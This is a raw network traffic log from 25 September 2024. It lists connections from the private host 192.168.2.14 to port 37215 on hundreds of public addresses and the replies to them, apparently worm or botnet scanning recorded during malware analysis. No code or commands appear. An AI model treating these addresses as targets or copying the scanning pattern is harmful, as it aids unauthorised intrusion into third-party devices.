Sep 25, 2024 14:14:12.288700104 CEST	37215	63353	197.205.233.19	192.168.2.14
Sep 25, 2024 14:14:12.288702011 CEST	63353	37215	192.168.2.14	197.46.63.172
Sep 25, 2024 14:14:12.288702011 CEST	63353	37215	192.168.2.14	41.207.197.23
Sep 25, 2024 14:14:12.288707972 CEST	63353	37215	192.168.2.14	156.103.167.244
Sep 25, 2024 14:14:12.288711071 CEST	63353	37215	192.168.2.14	197.147.203.105
Sep 25, 2024 14:14:12.288717985 CEST	63353	37215	192.168.2.14	197.127.12.154
Sep 25, 2024 14:14:12.288732052 CEST	63353	37215	192.168.2.14	197.47.175.207
Sep 25, 2024 14:14:12.288739920 CEST	63353	37215	192.168.2.14	197.205.233.19
Sep 25, 2024 14:14:12.288743019 CEST	63353	37215	192.168.2.14	156.164.140.46
Sep 25, 2024 14:14:12.288774014 CEST	38742	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.289278030 CEST	37215	63353	41.82.34.3	192.168.2.14
Sep 25, 2024 14:14:12.289283991 CEST	37215	63353	197.135.232.189	192.168.2.14
Sep 25, 2024 14:14:12.289293051 CEST	37215	63353	41.126.225.191	192.168.2.14
Sep 25, 2024 14:14:12.289293051 CEST	54444	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.289297104 CEST	37215	63353	197.237.242.112	192.168.2.14
Sep 25, 2024 14:14:12.289302111 CEST	37215	63353	156.234.164.53	192.168.2.14
Sep 25, 2024 14:14:12.289310932 CEST	63353	37215	192.168.2.14	41.82.34.3
Sep 25, 2024 14:14:12.289318085 CEST	37215	63353	41.197.169.222	192.168.2.14
Sep 25, 2024 14:14:12.289319038 CEST	63353	37215	192.168.2.14	197.135.232.189
Sep 25, 2024 14:14:12.289323092 CEST	63353	37215	192.168.2.14	41.126.225.191
Sep 25, 2024 14:14:12.289323092 CEST	37215	63353	156.158.158.169	192.168.2.14
Sep 25, 2024 14:14:12.289328098 CEST	37215	63353	156.175.200.149	192.168.2.14
Sep 25, 2024 14:14:12.289331913 CEST	37215	63353	41.102.156.163	192.168.2.14
Sep 25, 2024 14:14:12.289340973 CEST	37215	63353	197.79.252.16	192.168.2.14
Sep 25, 2024 14:14:12.289345026 CEST	37215	63353	156.144.55.227	192.168.2.14
Sep 25, 2024 14:14:12.289349079 CEST	37215	63353	41.3.186.30	192.168.2.14
Sep 25, 2024 14:14:12.289356947 CEST	37215	63353	41.10.64.20	192.168.2.14
Sep 25, 2024 14:14:12.289361000 CEST	37215	63353	41.172.68.65	192.168.2.14
Sep 25, 2024 14:14:12.289364100 CEST	63353	37215	192.168.2.14	197.237.242.112
Sep 25, 2024 14:14:12.289365053 CEST	37215	63353	41.128.129.189	192.168.2.14
Sep 25, 2024 14:14:12.289364100 CEST	63353	37215	192.168.2.14	41.102.156.163
Sep 25, 2024 14:14:12.289364100 CEST	63353	37215	192.168.2.14	156.175.200.149
Sep 25, 2024 14:14:12.289364100 CEST	63353	37215	192.168.2.14	197.79.252.16
Sep 25, 2024 14:14:12.289370060 CEST	63353	37215	192.168.2.14	41.3.186.30
Sep 25, 2024 14:14:12.289380074 CEST	37215	63353	156.95.134.117	192.168.2.14
Sep 25, 2024 14:14:12.289381981 CEST	37215	63353	156.162.21.175	192.168.2.14
Sep 25, 2024 14:14:12.289383888 CEST	37215	63353	197.117.103.158	192.168.2.14
Sep 25, 2024 14:14:12.289386034 CEST	37215	63353	197.185.70.50	192.168.2.14
Sep 25, 2024 14:14:12.289387941 CEST	37215	63353	197.240.65.52	192.168.2.14
Sep 25, 2024 14:14:12.289388895 CEST	63353	37215	192.168.2.14	41.10.64.20
Sep 25, 2024 14:14:12.289390087 CEST	63353	37215	192.168.2.14	41.172.68.65
Sep 25, 2024 14:14:12.289391041 CEST	63353	37215	192.168.2.14	156.234.164.53
Sep 25, 2024 14:14:12.289391041 CEST	63353	37215	192.168.2.14	41.197.169.222
Sep 25, 2024 14:14:12.289391041 CEST	63353	37215	192.168.2.14	156.158.158.169
Sep 25, 2024 14:14:12.289392948 CEST	37215	63353	156.36.104.157	192.168.2.14
Sep 25, 2024 14:14:12.289393902 CEST	63353	37215	192.168.2.14	156.144.55.227
Sep 25, 2024 14:14:12.289397001 CEST	37215	63353	197.0.238.133	192.168.2.14
Sep 25, 2024 14:14:12.289402008 CEST	37215	63353	197.167.33.28	192.168.2.14
Sep 25, 2024 14:14:12.289406061 CEST	37215	63353	197.176.226.254	192.168.2.14
Sep 25, 2024 14:14:12.289410114 CEST	63353	37215	192.168.2.14	156.95.134.117
Sep 25, 2024 14:14:12.289410114 CEST	63353	37215	192.168.2.14	41.128.129.189
Sep 25, 2024 14:14:12.289411068 CEST	37215	63353	41.90.168.183	192.168.2.14
Sep 25, 2024 14:14:12.289410114 CEST	63353	37215	192.168.2.14	156.162.21.175
Sep 25, 2024 14:14:12.289416075 CEST	37215	63353	41.175.222.205	192.168.2.14
Sep 25, 2024 14:14:12.289422035 CEST	37215	63353	156.37.65.96	192.168.2.14
Sep 25, 2024 14:14:12.289424896 CEST	63353	37215	192.168.2.14	197.117.103.158
Sep 25, 2024 14:14:12.289433956 CEST	63353	37215	192.168.2.14	156.36.104.157
Sep 25, 2024 14:14:12.289433956 CEST	63353	37215	192.168.2.14	197.240.65.52
Sep 25, 2024 14:14:12.289436102 CEST	63353	37215	192.168.2.14	197.0.238.133
Sep 25, 2024 14:14:12.289436102 CEST	63353	37215	192.168.2.14	197.167.33.28
Sep 25, 2024 14:14:12.289439917 CEST	63353	37215	192.168.2.14	197.185.70.50
Sep 25, 2024 14:14:12.289439917 CEST	63353	37215	192.168.2.14	197.176.226.254
Sep 25, 2024 14:14:12.289441109 CEST	63353	37215	192.168.2.14	41.90.168.183
Sep 25, 2024 14:14:12.289473057 CEST	63353	37215	192.168.2.14	41.175.222.205
Sep 25, 2024 14:14:12.289473057 CEST	63353	37215	192.168.2.14	156.37.65.96
Sep 25, 2024 14:14:12.289885044 CEST	37118	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.290427923 CEST	52200	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.290976048 CEST	41360	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.291518927 CEST	39770	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.292037964 CEST	33646	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.292548895 CEST	35064	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.293482065 CEST	48018	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.293657064 CEST	37215	63353	197.140.165.179	192.168.2.14
Sep 25, 2024 14:14:12.293672085 CEST	37215	63353	197.53.163.92	192.168.2.14
Sep 25, 2024 14:14:12.293682098 CEST	37215	63353	41.69.56.187	192.168.2.14
Sep 25, 2024 14:14:12.293687105 CEST	37215	63353	156.135.119.71	192.168.2.14
Sep 25, 2024 14:14:12.293690920 CEST	37215	63353	41.114.144.195	192.168.2.14
Sep 25, 2024 14:14:12.293695927 CEST	37215	63353	156.246.188.63	192.168.2.14
Sep 25, 2024 14:14:12.293700933 CEST	63353	37215	192.168.2.14	197.53.163.92
Sep 25, 2024 14:14:12.293709993 CEST	37215	63353	156.123.218.83	192.168.2.14
Sep 25, 2024 14:14:12.293710947 CEST	63353	37215	192.168.2.14	197.140.165.179
Sep 25, 2024 14:14:12.293714046 CEST	37215	63353	41.98.231.39	192.168.2.14
Sep 25, 2024 14:14:12.293719053 CEST	37215	63353	197.131.80.125	192.168.2.14
Sep 25, 2024 14:14:12.293718100 CEST	63353	37215	192.168.2.14	41.114.144.195
Sep 25, 2024 14:14:12.293715954 CEST	63353	37215	192.168.2.14	41.69.56.187
Sep 25, 2024 14:14:12.293719053 CEST	63353	37215	192.168.2.14	156.135.119.71
Sep 25, 2024 14:14:12.293724060 CEST	37215	63353	41.111.10.101	192.168.2.14
Sep 25, 2024 14:14:12.293735027 CEST	37215	63353	41.232.119.160	192.168.2.14
Sep 25, 2024 14:14:12.293740034 CEST	37215	63353	156.214.238.178	192.168.2.14
Sep 25, 2024 14:14:12.293741941 CEST	63353	37215	192.168.2.14	156.246.188.63
Sep 25, 2024 14:14:12.293742895 CEST	63353	37215	192.168.2.14	156.123.218.83
Sep 25, 2024 14:14:12.293745041 CEST	37215	63353	197.53.109.91	192.168.2.14
Sep 25, 2024 14:14:12.293749094 CEST	37215	63353	156.222.174.194	192.168.2.14
Sep 25, 2024 14:14:12.293752909 CEST	37215	63353	197.63.231.230	192.168.2.14
Sep 25, 2024 14:14:12.293756962 CEST	37215	63353	156.15.10.203	192.168.2.14
Sep 25, 2024 14:14:12.293766975 CEST	37215	63353	156.196.112.17	192.168.2.14
Sep 25, 2024 14:14:12.293771982 CEST	37215	63353	197.6.134.212	192.168.2.14
Sep 25, 2024 14:14:12.293773890 CEST	63353	37215	192.168.2.14	41.232.119.160
Sep 25, 2024 14:14:12.293773890 CEST	63353	37215	192.168.2.14	197.53.109.91
Sep 25, 2024 14:14:12.293773890 CEST	63353	37215	192.168.2.14	156.214.238.178
Sep 25, 2024 14:14:12.293773890 CEST	63353	37215	192.168.2.14	156.222.174.194
Sep 25, 2024 14:14:12.293778896 CEST	63353	37215	192.168.2.14	197.63.231.230
Sep 25, 2024 14:14:12.293781042 CEST	37215	63353	156.31.105.111	192.168.2.14
Sep 25, 2024 14:14:12.293781042 CEST	63353	37215	192.168.2.14	156.15.10.203
Sep 25, 2024 14:14:12.293786049 CEST	37215	63353	156.222.67.232	192.168.2.14
Sep 25, 2024 14:14:12.293795109 CEST	37215	63353	41.82.240.200	192.168.2.14
Sep 25, 2024 14:14:12.293796062 CEST	63353	37215	192.168.2.14	156.196.112.17
Sep 25, 2024 14:14:12.293800116 CEST	37215	63353	197.140.146.19	192.168.2.14
Sep 25, 2024 14:14:12.293801069 CEST	63353	37215	192.168.2.14	41.98.231.39
Sep 25, 2024 14:14:12.293801069 CEST	63353	37215	192.168.2.14	41.111.10.101
Sep 25, 2024 14:14:12.293801069 CEST	63353	37215	192.168.2.14	197.6.134.212
Sep 25, 2024 14:14:12.293808937 CEST	37215	63353	197.96.126.69	192.168.2.14
Sep 25, 2024 14:14:12.293812037 CEST	63353	37215	192.168.2.14	197.131.80.125
Sep 25, 2024 14:14:12.293813944 CEST	37215	63353	156.25.89.190	192.168.2.14
Sep 25, 2024 14:14:12.293816090 CEST	63353	37215	192.168.2.14	156.222.67.232
Sep 25, 2024 14:14:12.293816090 CEST	63353	37215	192.168.2.14	156.31.105.111
Sep 25, 2024 14:14:12.293818951 CEST	37215	63353	41.81.118.132	192.168.2.14
Sep 25, 2024 14:14:12.293829918 CEST	63353	37215	192.168.2.14	41.82.240.200
Sep 25, 2024 14:14:12.293837070 CEST	37215	63353	41.60.57.59	192.168.2.14
Sep 25, 2024 14:14:12.293842077 CEST	37215	63353	156.165.180.137	192.168.2.14
Sep 25, 2024 14:14:12.293845892 CEST	37215	63353	156.40.170.204	192.168.2.14
Sep 25, 2024 14:14:12.293848038 CEST	63353	37215	192.168.2.14	41.81.118.132
Sep 25, 2024 14:14:12.293849945 CEST	37215	63353	197.43.96.34	192.168.2.14
Sep 25, 2024 14:14:12.293855906 CEST	63353	37215	192.168.2.14	197.140.146.19
Sep 25, 2024 14:14:12.293855906 CEST	63353	37215	192.168.2.14	197.96.126.69
Sep 25, 2024 14:14:12.293855906 CEST	63353	37215	192.168.2.14	156.25.89.190
Sep 25, 2024 14:14:12.293862104 CEST	63353	37215	192.168.2.14	41.60.57.59
Sep 25, 2024 14:14:12.293865919 CEST	63353	37215	192.168.2.14	156.40.170.204
Sep 25, 2024 14:14:12.293874025 CEST	63353	37215	192.168.2.14	156.165.180.137
Sep 25, 2024 14:14:12.293874979 CEST	63353	37215	192.168.2.14	197.43.96.34
Sep 25, 2024 14:14:12.294004917 CEST	37215	63353	197.105.92.69	192.168.2.14
Sep 25, 2024 14:14:12.294009924 CEST	37215	63353	197.81.123.15	192.168.2.14
Sep 25, 2024 14:14:12.294013977 CEST	37215	63353	197.1.193.32	192.168.2.14
Sep 25, 2024 14:14:12.294018030 CEST	37215	63353	156.157.20.65	192.168.2.14
Sep 25, 2024 14:14:12.294027090 CEST	37215	63353	197.239.240.163	192.168.2.14
Sep 25, 2024 14:14:12.294030905 CEST	37215	63353	197.157.131.147	192.168.2.14
Sep 25, 2024 14:14:12.294039965 CEST	63353	37215	192.168.2.14	197.81.123.15
Sep 25, 2024 14:14:12.294039965 CEST	37215	63353	41.29.196.13	192.168.2.14
Sep 25, 2024 14:14:12.294044971 CEST	37215	63353	197.1.114.38	192.168.2.14
Sep 25, 2024 14:14:12.294044971 CEST	63353	37215	192.168.2.14	197.1.193.32
Sep 25, 2024 14:14:12.294050932 CEST	63353	37215	192.168.2.14	197.105.92.69
Sep 25, 2024 14:14:12.294054031 CEST	63353	37215	192.168.2.14	156.157.20.65
Sep 25, 2024 14:14:12.294054985 CEST	37215	63353	197.5.126.230	192.168.2.14
Sep 25, 2024 14:14:12.294058084 CEST	63353	37215	192.168.2.14	197.239.240.163
Sep 25, 2024 14:14:12.294068098 CEST	37215	63353	197.1.251.40	192.168.2.14
Sep 25, 2024 14:14:12.294071913 CEST	63353	37215	192.168.2.14	41.29.196.13
Sep 25, 2024 14:14:12.294073105 CEST	63353	37215	192.168.2.14	197.157.131.147
Sep 25, 2024 14:14:12.294073105 CEST	37215	63353	197.11.239.20	192.168.2.14
Sep 25, 2024 14:14:12.294075966 CEST	63353	37215	192.168.2.14	197.1.114.38
Sep 25, 2024 14:14:12.294079065 CEST	37215	63353	197.16.157.37	192.168.2.14
Sep 25, 2024 14:14:12.294084072 CEST	37215	63353	197.118.23.85	192.168.2.14
Sep 25, 2024 14:14:12.294086933 CEST	63353	37215	192.168.2.14	197.5.126.230
Sep 25, 2024 14:14:12.294087887 CEST	37215	63353	156.181.125.202	192.168.2.14
Sep 25, 2024 14:14:12.294090986 CEST	37215	63353	156.182.158.151	192.168.2.14
Sep 25, 2024 14:14:12.294097900 CEST	63353	37215	192.168.2.14	197.11.239.20
Sep 25, 2024 14:14:12.294101000 CEST	37215	63353	41.220.45.86	192.168.2.14
Sep 25, 2024 14:14:12.294101954 CEST	63353	37215	192.168.2.14	197.1.251.40
Sep 25, 2024 14:14:12.294104099 CEST	63353	37215	192.168.2.14	197.16.157.37
Sep 25, 2024 14:14:12.294106007 CEST	63353	37215	192.168.2.14	197.118.23.85
Sep 25, 2024 14:14:12.294120073 CEST	63353	37215	192.168.2.14	156.182.158.151
Sep 25, 2024 14:14:12.294121027 CEST	63353	37215	192.168.2.14	156.181.125.202
Sep 25, 2024 14:14:12.294231892 CEST	37215	63353	41.138.230.199	192.168.2.14
Sep 25, 2024 14:14:12.294260025 CEST	63353	37215	192.168.2.14	41.220.45.86
Sep 25, 2024 14:14:12.294272900 CEST	63353	37215	192.168.2.14	41.138.230.199
Sep 25, 2024 14:14:12.294411898 CEST	54784	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.294509888 CEST	37215	63353	156.26.19.249	192.168.2.14
Sep 25, 2024 14:14:12.294548988 CEST	63353	37215	192.168.2.14	156.26.19.249
Sep 25, 2024 14:14:12.294629097 CEST	37215	63353	41.119.7.114	192.168.2.14
Sep 25, 2024 14:14:12.294635057 CEST	37215	63353	41.104.242.237	192.168.2.14
Sep 25, 2024 14:14:12.294645071 CEST	37215	63353	41.109.148.185	192.168.2.14
Sep 25, 2024 14:14:12.294648886 CEST	37215	63353	197.115.93.204	192.168.2.14
Sep 25, 2024 14:14:12.294652939 CEST	37215	63353	41.3.58.116	192.168.2.14
Sep 25, 2024 14:14:12.294657946 CEST	37215	63353	197.155.122.58	192.168.2.14
Sep 25, 2024 14:14:12.294661045 CEST	37215	63353	197.95.8.121	192.168.2.14
Sep 25, 2024 14:14:12.294662952 CEST	63353	37215	192.168.2.14	41.119.7.114
Sep 25, 2024 14:14:12.294665098 CEST	37215	63353	197.222.118.186	192.168.2.14
Sep 25, 2024 14:14:12.294677019 CEST	63353	37215	192.168.2.14	197.155.122.58
Sep 25, 2024 14:14:12.294677019 CEST	63353	37215	192.168.2.14	41.109.148.185
Sep 25, 2024 14:14:12.294681072 CEST	63353	37215	192.168.2.14	41.104.242.237
Sep 25, 2024 14:14:12.294681072 CEST	63353	37215	192.168.2.14	197.115.93.204
Sep 25, 2024 14:14:12.294681072 CEST	63353	37215	192.168.2.14	41.3.58.116
Sep 25, 2024 14:14:12.294696093 CEST	63353	37215	192.168.2.14	197.95.8.121
Sep 25, 2024 14:14:12.294696093 CEST	63353	37215	192.168.2.14	197.222.118.186
Sep 25, 2024 14:14:12.294743061 CEST	37215	63353	156.139.96.207	192.168.2.14
Sep 25, 2024 14:14:12.294748068 CEST	37215	63353	197.48.195.238	192.168.2.14
Sep 25, 2024 14:14:12.294758081 CEST	37215	63353	41.87.237.98	192.168.2.14
Sep 25, 2024 14:14:12.294775963 CEST	63353	37215	192.168.2.14	156.139.96.207
Sep 25, 2024 14:14:12.294786930 CEST	63353	37215	192.168.2.14	197.48.195.238
Sep 25, 2024 14:14:12.294794083 CEST	63353	37215	192.168.2.14	41.87.237.98
Sep 25, 2024 14:14:12.294795990 CEST	37215	63353	41.45.4.87	192.168.2.14
Sep 25, 2024 14:14:12.294800997 CEST	37215	63353	41.65.214.227	192.168.2.14
Sep 25, 2024 14:14:12.294811010 CEST	37215	63353	197.39.230.84	192.168.2.14
Sep 25, 2024 14:14:12.294815063 CEST	37215	63353	41.27.210.102	192.168.2.14
Sep 25, 2024 14:14:12.294823885 CEST	37215	63353	41.220.22.226	192.168.2.14
Sep 25, 2024 14:14:12.294828892 CEST	37215	63353	156.50.183.231	192.168.2.14
Sep 25, 2024 14:14:12.294828892 CEST	63353	37215	192.168.2.14	41.45.4.87
Sep 25, 2024 14:14:12.294831991 CEST	37215	63353	197.199.141.73	192.168.2.14
Sep 25, 2024 14:14:12.294836998 CEST	63353	37215	192.168.2.14	41.65.214.227
Sep 25, 2024 14:14:12.294842005 CEST	37215	63353	197.9.152.223	192.168.2.14
Sep 25, 2024 14:14:12.294843912 CEST	63353	37215	192.168.2.14	197.39.230.84
Sep 25, 2024 14:14:12.294847965 CEST	37215	63353	41.251.73.22	192.168.2.14
Sep 25, 2024 14:14:12.294848919 CEST	63353	37215	192.168.2.14	41.220.22.226
Sep 25, 2024 14:14:12.294852972 CEST	37215	63353	197.1.116.150	192.168.2.14
Sep 25, 2024 14:14:12.294857979 CEST	63353	37215	192.168.2.14	197.199.141.73
Sep 25, 2024 14:14:12.294858932 CEST	37215	63353	156.32.134.39	192.168.2.14
Sep 25, 2024 14:14:12.294859886 CEST	63353	37215	192.168.2.14	197.9.152.223
Sep 25, 2024 14:14:12.294878006 CEST	63353	37215	192.168.2.14	41.27.210.102
Sep 25, 2024 14:14:12.294878006 CEST	63353	37215	192.168.2.14	197.1.116.150
Sep 25, 2024 14:14:12.294883966 CEST	63353	37215	192.168.2.14	41.251.73.22
Sep 25, 2024 14:14:12.294924974 CEST	63353	37215	192.168.2.14	156.32.134.39
Sep 25, 2024 14:14:12.294928074 CEST	63353	37215	192.168.2.14	156.50.183.231
Sep 25, 2024 14:14:12.294949055 CEST	37215	63353	156.125.205.215	192.168.2.14
Sep 25, 2024 14:14:12.295011044 CEST	37215	63353	197.194.252.26	192.168.2.14
Sep 25, 2024 14:14:12.295010090 CEST	63353	37215	192.168.2.14	156.125.205.215
Sep 25, 2024 14:14:12.295015097 CEST	37215	37404	156.105.111.2	192.168.2.14
Sep 25, 2024 14:14:12.295020103 CEST	37215	36572	156.7.180.15	192.168.2.14
Sep 25, 2024 14:14:12.295023918 CEST	37215	60278	197.105.105.62	192.168.2.14
Sep 25, 2024 14:14:12.295033932 CEST	37215	57964	197.195.215.228	192.168.2.14
Sep 25, 2024 14:14:12.295037031 CEST	63353	37215	192.168.2.14	197.194.252.26
Sep 25, 2024 14:14:12.295037985 CEST	37215	40650	156.32.42.163	192.168.2.14
Sep 25, 2024 14:14:12.295047045 CEST	37215	37710	197.231.213.174	192.168.2.14
Sep 25, 2024 14:14:12.295048952 CEST	37404	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.295051098 CEST	37215	50604	41.144.112.76	192.168.2.14
Sep 25, 2024 14:14:12.295057058 CEST	60278	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.295058966 CEST	36572	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.295059919 CEST	37215	52044	197.215.137.238	192.168.2.14
Sep 25, 2024 14:14:12.295064926 CEST	37215	34452	41.218.248.203	192.168.2.14
Sep 25, 2024 14:14:12.295069933 CEST	37215	38496	41.98.227.98	192.168.2.14
Sep 25, 2024 14:14:12.295075893 CEST	40650	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.295075893 CEST	37710	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.295075893 CEST	57964	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.295085907 CEST	52044	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.295094013 CEST	34452	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.295099974 CEST	38496	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.295221090 CEST	50604	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.295315981 CEST	41924	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.296207905 CEST	53274	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.297408104 CEST	43298	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.298168898 CEST	54406	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.299096107 CEST	58872	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.299843073 CEST	40574	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.300127029 CEST	37215	38742	156.91.174.178	192.168.2.14
Sep 25, 2024 14:14:12.300158024 CEST	37215	54444	156.190.198.120	192.168.2.14
Sep 25, 2024 14:14:12.300163031 CEST	37215	37118	41.155.56.243	192.168.2.14
Sep 25, 2024 14:14:12.300170898 CEST	38742	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.300193071 CEST	54444	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.300193071 CEST	37118	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.300199986 CEST	37215	52200	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:12.300204039 CEST	37215	41360	41.240.99.197	192.168.2.14
Sep 25, 2024 14:14:12.300239086 CEST	41360	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.300245047 CEST	52200	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.300288916 CEST	37215	39770	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:12.300302029 CEST	37215	33646	156.55.88.200	192.168.2.14
Sep 25, 2024 14:14:12.300307035 CEST	37215	35064	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:12.300318956 CEST	37215	48018	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:12.300318956 CEST	39770	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.300339937 CEST	33646	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.300403118 CEST	35064	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.300404072 CEST	48018	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.300757885 CEST	47486	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.301852942 CEST	38754	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.302310944 CEST	37215	54784	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:12.302345991 CEST	54784	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.303046942 CEST	60004	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.304124117 CEST	51548	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.304218054 CEST	37215	41924	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:12.304224968 CEST	37215	53274	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:12.304265976 CEST	41924	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.304266930 CEST	53274	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.305236101 CEST	47674	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.306602955 CEST	54506	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.307239056 CEST	37215	43298	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:12.307244062 CEST	37215	54406	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:12.307248116 CEST	37215	58872	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:12.307254076 CEST	37215	40574	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:12.307274103 CEST	43298	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.307279110 CEST	40574	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.307280064 CEST	54406	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.307329893 CEST	58872	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.307521105 CEST	50600	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.308217049 CEST	40414	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.309014082 CEST	53772	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.309809923 CEST	35768	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.310748100 CEST	50304	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.310868025 CEST	37215	47486	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:12.311005116 CEST	47486	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.311077118 CEST	37215	38754	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:12.311115980 CEST	38754	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.311598063 CEST	41954	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.312314987 CEST	42656	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.312501907 CEST	37215	60004	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:12.312506914 CEST	37215	51548	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:12.312544107 CEST	60004	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.312566042 CEST	51548	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.312669992 CEST	37215	47674	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:12.312735081 CEST	47674	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.313077927 CEST	37215	54506	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:12.313107014 CEST	54506	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.313127995 CEST	39006	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.314228058 CEST	42852	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.315074921 CEST	37215	50600	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:12.315079927 CEST	37215	40414	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:12.315126896 CEST	50600	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.315126896 CEST	40414	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.315427065 CEST	37215	53772	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:12.315466881 CEST	53772	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.315485001 CEST	48292	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.316132069 CEST	37215	35768	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:12.316160917 CEST	35768	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.317087889 CEST	49006	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.317132950 CEST	37215	50304	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:12.317163944 CEST	50304	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.317975998 CEST	37215	41954	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:12.318016052 CEST	41954	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.318372011 CEST	49438	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.318440914 CEST	37215	42656	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:12.318485975 CEST	42656	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.319328070 CEST	37215	39006	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:12.319406986 CEST	39006	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.319502115 CEST	37215	42852	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:12.319547892 CEST	42852	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.320005894 CEST	45956	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.320425987 CEST	37215	48292	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:12.320519924 CEST	48292	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.321585894 CEST	50892	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.323509932 CEST	38080	37215	192.168.2.14	41.201.175.19
